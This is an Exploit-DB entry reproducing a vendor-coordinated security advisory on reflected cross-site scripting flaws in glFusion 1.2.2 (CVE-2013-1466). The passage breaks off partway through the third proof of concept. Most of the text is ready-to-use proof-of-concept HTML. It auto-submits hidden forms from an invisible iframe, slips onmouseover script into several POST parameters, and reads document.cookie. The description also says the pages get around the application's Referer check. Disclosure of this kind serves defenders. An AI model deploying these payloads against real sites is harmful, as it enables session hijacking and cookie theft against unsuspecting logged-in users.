Exploit-DB #24536
Description: glFusion 1.2.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-21
Author: High-Tech Bridge SA

Exploit:
Advisory ID: HTB23142
Product: glFusion
Vendor: http://www.glfusion.org/
Vulnerable Version(s): 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013 
Vendor Patch: January 30, 2013 
Public Disclosure: February 20, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) . 


1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    function go() {
        if(x) return
        x += 1
        try {
            var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
            html += '<input type="hidden" name="uid" value="2">'
      html += '<input type="hidden" name="author" value="author">'
      html += '<input type="hidden" name="message" value="1">'
      html += '<input type="hidden" name="message_html" value="1">'
      html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
      html += '<input type="hidden" name="postmode" value="html">'
      html += '<input type="hidden" name="what" value="contact">'
      html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
            window.frames[0].document.body.innerHTML = html
            window.frames[0].document.forms[0].submit()
        } catch(e) {
            go2()
        }
    }
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
    window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    function go() {
        if(x) return
        x += 1
        try {
            var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
            html += '<input type="hidden" name="mode" value="Submit">'
            html += '<input type="hidden" name="savecal" value="Submit">'
      html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'    
      html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
      html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
      html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
      html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
      html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
      html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'  
      html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
            window.frames[0].document.body.innerHTML = html
            window.frames[0].document.forms[0].submit()
        } catch(e) {
            go2()
        }
    }
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
    window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    functio